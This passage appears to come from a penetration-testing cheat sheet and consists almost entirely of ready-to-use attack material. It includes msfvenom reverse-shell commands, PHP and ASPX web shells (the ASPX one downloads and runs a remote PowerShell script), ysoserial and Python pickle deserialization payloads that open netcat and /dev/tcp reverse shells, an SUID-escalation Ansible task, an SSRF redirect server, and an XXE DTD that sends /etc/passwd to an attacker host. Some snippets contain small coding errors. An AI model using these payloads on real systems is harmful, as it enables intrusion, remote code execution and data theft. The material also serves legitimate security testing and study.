> ScareCrow -I <FILE>.bin -Loader control -domain <FAKE_DOMAIN>
> ```
>
> **Renaming Payload**
>
> ```
> mv <FILE>.dll <FILE>32.dll
> ```
>
> **Execution**
>
> ```
> rundll32.exe .\<FILE>32.dll,DllRegisterServer
> ```
>
> or
>
> ```
> regsvr32 /s .\<FILE>32.dll
> ```
>
> For `.cpl-Files` a simple double click is enough to execute them.
>
> **Shikata Ga Nai**
>
> ```
> msfvenom -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f c -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai
>
> msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -b "\x00" -e x86/shikata_ga_nai -f exe -o /tmp/shell.exe
> ```
>
> **Web Shells**
>
> **PHP Web Shell**
>
> ```
> <?php system($_GET['cmd']); ?>
> <?php echo exec($_POST['cmd']); ?>
> <?php echo passthru($_GET['cmd']); ?>
> <?php passthru($_REQUEST['cmd']); ?>
> <?php echo system($_REQUEST['shell']): ?>
> ```
>
> **ysoserial**
>
> ```
> java -jar ysoserial-master-SNAPSHOT.jar
> java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections1 'nc <LHOST> <LPORT> -e /bin/sh' | base64 -w 0
> java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
> java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections4 "$jex" > /tmp/$filename.session
> ```
>
> #### Templates
>
> **ASPX Web Shell**
>
> ```
> <?xml version="1.0" encoding="UTF-8"?>
> <configuration>
>    <system.webServer>
>       <handlers accessPolicy="Read, Script, Write">
>          <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
>       </handlers>
>       <security>
>          <requestFiltering>
>             <fileExtensions>
>                <remove fileExtension=".config" />
>             </fileExtensions>
>             <hiddenSegments>
>                <remove segment="web.config" />
>             </hiddenSegments>
>          </requestFiltering>
>       </security>
>    </system.webServer>
> </configuration>
> <!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
> <%
> Set s = CreateObject("WScript.Shell")
> Set cmd = s.Exec("cmd /c powershell -c IEX (New-Object Net.Webclient).downloadstring('http://<LHOST>/shellyjelly.ps1')")
> o = cmd.StdOut.Readall()
> Response.write(o)
> %>
> -->
> ```
>
> **Bad YAML**
>
> ```
> - hosts: localhost
>   tasks:
>     - name: badyml
>       command: chmod +s /bin/bash
> ```
>
> **Exploit Skeleton Python Script**
>
> ```
> #!/usr/bin/python
>
> import socket,sys
>
> address = '127.0.0.1'
> port = 9999
> buffer = #TBD
>
> try:
> 	print '[+] Sending buffer'
> 	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
> 	s.connect((address,port))
> 	s.recv(1024)
> 	s.send(buffer + '\r\n')
> except:
>  	print '[!] Unable to connect to the application.'
>  	sys.exit(0)
> finally:
> 	s.close()
> ```
>
> **JSON POST Request**
>
> ```
> POST /<path> HTTP/1.1
> Host: <RHOST>
> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
> Accept: */*
> Accept-Language: en-US,en;q=0.5
> Content-Type: application/json
> Content-Length: 95
> Connection: close
>
> {
>   "auth":{
>     "name":"<USERNAME>",
>     "password":"<PASSWORD>"
>   },
>   "filename":"<FILE>"
> }
> ```
>
> **Python Pickle RCE**
>
> ```
> import pickle
> import sys
> import base64
>
> command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat <LHOST> <LHOST> > /tmp/f'
>
> class rce(object):
>     def __reduce__(self):
>         import os
>         return (os.system,(command,))
>
> print(base64.b64encode(pickle.dumps(rce())))
> ```
>
> ```
> import base64
> import pickle
> import os
>
> class RCE:
> 	def __reduce__(self):
> 		cmd = ("/bin/bash -c 'exec bash -i &>/dev/tcp/<LHOST>/<LPORT> <&1'")
> 		return = os.system, (cmd, )
>
> if __name__ == '__main__':
> 	pickle = pickle.dumps(RCE())
> 	print(bas64.b64encode(pickled))
> ```
>
> **Python Redirect for SSRF**
>
> ```
> #!/usr/bin/python3
> import sys
> from http.server import HTTPServer, BaseHTTPRequestHandler
>
> class Redirect(BaseHTTPRequestHandler):
>   def do_GET(self):
>       self.send_response(302)
>       self.send_header('Location', sys.argv[1])
>       self.end_headers()
>
> HTTPServer(("0.0.0.0", 80), Redirect).serve_forever()
> ```
>
> ```
> sudo python3 redirect.py http://127.0.0.1:3000/
> ```
>
> ```
> #!/usr/bin/env python
>
> import SimpleHTTPServer
> import SocketServer
> import sys
> import argparse
>
> def redirect_handler_factory(url):
>     """
>     returns a request handler class that redirects to supplied `url`
>     """
>     class RedirectHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
>        def do_GET(self):
>            self.send_response(301)
>            self.send_header('Location', url)
>            self.end_headers()
>
>        def do_POST(self):
>            self.send_response(301)
>            self.send_header('Location', url)
>            self.end_headers()
>
>     return RedirectHandler
>
>
> def main():
>
>     parser = argparse.ArgumentParser(description='HTTP redirect server')
>
>     parser.add_argument('--port', '-p', action="store", type=int, default=80, help='port to listen on')
>     parser.add_argument('--ip', '-i', action="store", default="", help='host interface to listen on')
>     parser.add_argument('redirect_url', action="store")
>
>     myargs = parser.parse_args()
>
>     redirect_url = myargs.redirect_url
>     port = myargs.port
>     host = myargs.ip
>
>     redirectHandler = redirect_handler_factory(redirect_url)
>
>     handler = SocketServer.TCPServer((host, port), redirectHandler)
>     print("serving at port %s" % port)
>     handler.serve_forever()
>
> if __name__ == "__main__":
>     main()
> ```
>
> **Python Web Request**
>
> ```
> import requests
> import re
>
> http_proxy  = "http://127.0.0.1:8080"
> proxyDict = {
>               "http"  : http_proxy,
>             }
> // get a session
> r = requests.get('http://')
> // send request
> r = requests.post('<RHOST>', data={'key': 'value'}, cookies={'PHPSESSID': r.cookies['PHPSESSID']} , proxies=proxyDict)
> ```
>
> **XML External Entity (XXE)**
>
> **Request**
>
> ```
> <?xml version="1.0"?>
> <!DOCTYPE foo [<!ENTITY % <NAME> SYSTEM 
> "http://<LHOST>/<FILE>.dtd">%<NAME>;]>
> <root>
> <method>GET</method>
> <uri>/</uri>
> <user>
> <username><NAME>;</username>
> <password><NAME></password>
> </user>
> </root>
> ```
>
> **Content of .dtd**
>
> ```
> <!ENTITY % file SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd">
> <!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://<LHOST>/?f=%file;'>">
> %eval;
> %exfiltrate;
> ```
